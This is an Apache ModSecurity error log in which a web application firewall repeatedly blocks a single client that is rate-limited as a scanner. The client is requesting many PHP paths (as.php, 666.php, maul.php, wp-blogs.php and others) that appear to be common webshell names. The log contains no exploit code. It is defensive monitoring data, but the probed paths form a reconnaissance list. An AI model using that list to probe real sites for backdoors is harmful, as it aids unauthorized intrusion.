[Tue May 19 12:14:26.204050 2026] [:error] [pid 38814:tid 38836] [client 20.226.17.188:2017] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "agvjogvkKuBwP0epzWd19QAAANQ"]
[Tue May 19 12:14:26.820046 2026] [:error] [pid 41573:tid 41598] [client 20.226.17.188:7435] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "agvjoi1A2bd6JDSW9RZZBgAAARc"]
[Tue May 19 12:14:27.464011 2026] [:error] [pid 46815:tid 46836] [client 20.226.17.188:30435] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "agvjoyPnRhJOmA06Lgot2QAAAVM"]
[Tue May 19 12:14:28.121501 2026] [:error] [pid 46815:tid 46826] [client 20.226.17.188:2005] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "agvjpCPnRhJOmA06Lgot2gAAAUk"]
[Tue May 19 12:14:28.755063 2026] [:error] [pid 29823:tid 29851] [client 20.226.17.188:63413] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "agvjpGO09C0nAz8vRk4PVAAAAcw"]
[Tue May 19 12:14:29.378500 2026] [:error] [pid 38697:tid 38715] [client 20.226.17.188:4946] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "agvjpaXP9pP6Kgt-msQNaAAAAAA"]
[Tue May 19 12:14:29.999719 2026] [:error] [pid 29823:tid 29863] [client 20.226.17.188:25286] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "agvjpWO09C0nAz8vRk4PVQAAAdg"]
[Tue May 19 12:14:30.624880 2026] [:error] [pid 46815:tid 46839] [client 20.226.17.188:6203] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agvjpiPnRhJOmA06Lgot3wAAAVY"]
[Tue May 19 12:14:31.265898 2026] [:error] [pid 46815:tid 46829] [client 20.226.17.188:21082] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agvjpyPnRhJOmA06Lgot4AAAAUw"]
[Tue May 19 12:14:31.883811 2026] [:error] [pid 46815:tid 46824] [client 20.226.17.188:25320] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agvjpyPnRhJOmA06Lgot4QAAAUc"]
[Tue May 19 12:14:32.505892 2026] [:error] [pid 46815:tid 46818] [client 20.226.17.188:25387] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agvjqCPnRhJOmA06Lgot4gAAAUE"]
[Tue May 19 12:14:33.145476 2026] [:error] [pid 46815:tid 46835] [client 20.226.17.188:30694] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "agvjqSPnRhJOmA06Lgot4wAAAVI"]
[Tue May 19 12:14:33.773068 2026] [:error] [pid 46815:tid 46830] [client 20.226.17.188:30403] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "agvjqSPnRhJOmA06Lgot5AAAAU0"]
[Tue May 19 12:14:34.397717 2026] [:error] [pid 38697:tid 38716] [client 20.226.17.188:25999] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "agvjqqXP9pP6Kgt-msQNaQAAAAE"]
[Tue May 19 12:14:35.028971 2026] [:error] [pid 41573:tid 41590] [client 20.226.17.188:26008] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "agvjqy1A2bd6JDSW9RZZBwAAAQ8"]
[Tue May 19 12:14:35.675299 2026] [:error] [pid 38705:tid 38772] [client 20.226.17.188:30658] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "agvjq8g5dNOZ5umN9ltDpwAAAIM"]
[Tue May 19 12:14:36.360677 2026] [:error] [pid 38697:tid 38736] [client 20.226.17.188:1907] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "agvjrKXP9pP6Kgt-msQNagAAABU"]
[Tue May 19 12:14:36.990711 2026] [:error] [pid 46896:tid 46914] [client 20.226.17.188:25312] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "agvjrKCHyzL3Ci9LGE0tMQAAAZA"]
[Tue May 19 12:14:37.613862 2026] [:error] [pid 46815:tid 46841] [client 20.226.17.188:31701] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "agvjrSPnRhJOmA06Lgot5QAAAVg"]
[Tue May 19 12:14:38.254640 2026] [:error] [pid 38699:tid 38743] [client 20.226.17.188:1872] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "agvjrr--Adsw_P-dthZuSQAAAEE"]
[Tue May 19 12:14:38.875911 2026] [:error] [pid 41573:tid 41592] [client 20.226.17.188:6187] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "agvjri1A2bd6JDSW9RZZCAAAARE"]
[Tue May 19 12:14:39.501083 2026] [:error] [pid 29823:tid 29835] [client 20.226.17.188:14279] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "agvjr2O09C0nAz8vRk4PWQAAAcA"]
[Tue May 19 12:14:40.140398 2026] [:error] [pid 41573:tid 41589] [client 20.226.17.188:21076] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packsin1.php"] [unique_id "agvjsC1A2bd6JDSW9RZZCQAAAQ4"]
[Tue May 19 12:14:40.763201 2026] [:error] [pid 29823:tid 29847] [client 20.226.17.188:25309] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "agvjsGO09C0nAz8vRk4PWgAAAcg"]
[Tue May 19 12:14:41.392651 2026] [:error] [pid 46815:tid 46834] [client 20.226.17.188:30667] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "agvjsSPnRhJOmA06Lgot6AAAAVE"]
[Tue May 19 12:14:42.014225 2026] [:error] [pid 46815:tid 46836] [client 20.226.17.188:30400] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "agvjsiPnRhJOmA06Lgot6QAAAVM"]
[Tue May 19 12:14:42.636300 2026] [:error] [pid 29823:tid 29861] [client 20.226.17.188:25331] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "agvjsmO09C0nAz8vRk4PWwAAAdY"]
[Tue May 19 12:14:43.255443 2026] [:error] [pid 41573:tid 41581] [client 20.226.17.188:16828] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-footer.php"] [unique_id "agvjsy1A2bd6JDSW9RZZCwAAAQY"]
[Tue May 19 12:14:43.875017 2026] [:error] [pid 41573:tid 41576] [client 20.226.17.188:13881] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-footer.php"] [unique_id "agvjsy1A2bd6JDSW9RZZDAAAAQE"]
[Tue May 19 12:14:44.507007 2026] [:error] [pid 29823:tid 29853] [client 20.226.17.188:14307] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-footer.php"] [unique_id "agvjtGO09C0nAz8vRk4PXAAAAc4"]
[Tue May 19 12:14:45.133624 2026] [:error] [pid 29823:tid 29855] [client 20.226.17.188:63369] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-footer.php"] [unique_id "agvjtWO09C0nAz8vRk4PXQAAAdA"]
[Tue May 19 12:14:45.764214 2026] [:error] [pid 46815:tid 46833] [client 20.226.17.188:39076] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop.php"] [unique_id "agvjtSPnRhJOmA06Lgot7AAAAVA"]
[Tue May 19 12:14:46.386203 2026] [:error] [pid 46896:tid 46906] [client 20.226.17.188:39082] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop.php"] [unique_id "agvjtqCHyzL3Ci9LGE0tMgAAAYg"]
[Tue May 19 12:14:47.026686 2026] [:error] [pid 46815:tid 46826] [client 20.226.17.188:30475] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop.php"] [unique_id "agvjtyPnRhJOmA06Lgot7QAAAUk"]
[Tue May 19 12:14:47.675073 2026] [:error] [pid 46815:tid 46831] [client 20.226.17.188:27717] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop.php"] [unique_id "agvjtyPnRhJOmA06Lgot7gAAAU4"]
[Tue May 19 12:14:48.345372 2026] [:error] [pid 46815:tid 46825] [client 20.226.17.188:17418] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/maul.php"] [unique_id "agvjuCPnRhJOmA06Lgot7wAAAUg"]
[Tue May 19 12:14:48.982536 2026] [:error] [pid 38814:tid 38839] [client 20.226.17.188:14274] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/maul.php"] [unique_id "agvjuAvkKuBwP0epzWd19gAAANc"]
[Tue May 19 12:14:49.641814 2026] [:error] [pid 29823:tid 29849] [client 20.226.17.188:7754] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/maul.php"] [unique_id "agvjuWO09C0nAz8vRk4PXgAAAco"]
[Tue May 19 12:14:50.280033 2026] [:error] [pid 29823:tid 29839] [client 20.226.17.188:25336] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/maul.php"] [unique_id "agvjumO09C0nAz8vRk4PXwAAAcQ"]
[Tue May 19 12:14:50.937619 2026] [:error] [pid 41573:tid 41596] [client 20.226.17.188:31736] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "agvjui1A2bd6JDSW9RZZDgAAARU"]
[Tue May 19 12:14:51.574759 2026] [:error] [pid 46815:tid 46824] [client 20.226.17.188:1888] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "agvjuyPnRhJOmA06Lgot8gAAAUc"]
[Tue May 19 12:14:52.227852 2026] [:error] [pid 46815:tid 46818] [client 20.226.17.188:63389] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "agvjvCPnRhJOmA06Lgot8wAAAUE"]
[Tue May 19 12:14:52.853680 2026] [:error] [pid 46815:tid 46841] [client 20.226.17.188:7806] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "agvjvCPnRhJOmA06Lgot9gAAAVg"]
[Tue May 19 12:14:53.484133 2026] [:error] [pid 46896:tid 46907] [client 20.226.17.188:7759] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bjfl.php"] [unique_id "agvjvaCHyzL3Ci9LGE0tMwAAAYk"]
[Tue May 19 12:14:54.113863 2026] [:error] [pid 46896:tid 46899] [client 20.226.17.188:30681] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bjfl.php"] [unique_id "agvjvqCHyzL3Ci9LGE0tNAAAAYE"]
[Tue May 19 12:14:54.737074 2026] [:error] [pid 46896:tid 46920] [client 20.226.17.188:21852] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bjfl.php"] [unique_id "agvjvqCHyzL3Ci9LGE0tNgAAAZY"]
[Tue May 19 12:14:55.360913 2026] [:error] [pid 46896:tid 46905] [client 20.226.17.188:16819] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bjfl.php"] [unique_id "agvjv6CHyzL3Ci9LGE0tNwAAAYc"]
[Tue May 19 12:14:55.997626 2026] [:error] [pid 46896:tid 46910] [client 20.226.17.188:30500] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "agvjv6CHyzL3Ci9LGE0tOAAAAYw"]
[Tue May 19 12:14:56.619034 2026] [:error] [pid 41573:tid 41580] [client 20.226.17.188:30700] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "agvjwC1A2bd6JDSW9RZZEAAAAQU"]
[Tue May 19 12:14:57.267389 2026] [:error] [pid 38814:tid 38830] [client 20.226.17.188:16826] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "agvjwQvkKuBwP0epzWd1-QAAAM4"]
[Tue May 19 12:14:57.888504 2026] [:error] [pid 46896:tid 46900] [client 20.226.17.188:14318] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "agvjwaCHyzL3Ci9LGE0tOQAAAYI"]
[Tue May 19 12:14:58.506797 2026] [:error] [pid 46896:tid 46915] [client 20.226.17.188:7804] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lowpr.php"] [unique_id "agvjwqCHyzL3Ci9LGE0tOgAAAZE"]
[Tue May 19 12:14:59.129475 2026] [:error] [pid 38697:tid 38726] [client 20.226.17.188:31689] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lowpr.php"] [unique_id "agvjw6XP9pP6Kgt-msQNbAAAAAs"]
[Tue May 19 12:14:59.749154 2026] [:error] [pid 29823:tid 29836] [client 20.226.17.188:30689] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lowpr.php"] [unique_id "agvjw2O09C0nAz8vRk4PYgAAAcE"]
[Tue May 19 12:15:00.388088 2026] [:error] [pid 38814:tid 38827] [client 20.226.17.188:39041] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lowpr.php"] [unique_id "agvjxAvkKuBwP0epzWd1-wAAAMs"]
[Tue May 19 12:15:01.020269 2026] [:error] [pid 29823:tid 29859] [client 20.226.17.188:4549] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "agvjxWO09C0nAz8vRk4PYwAAAdQ"]
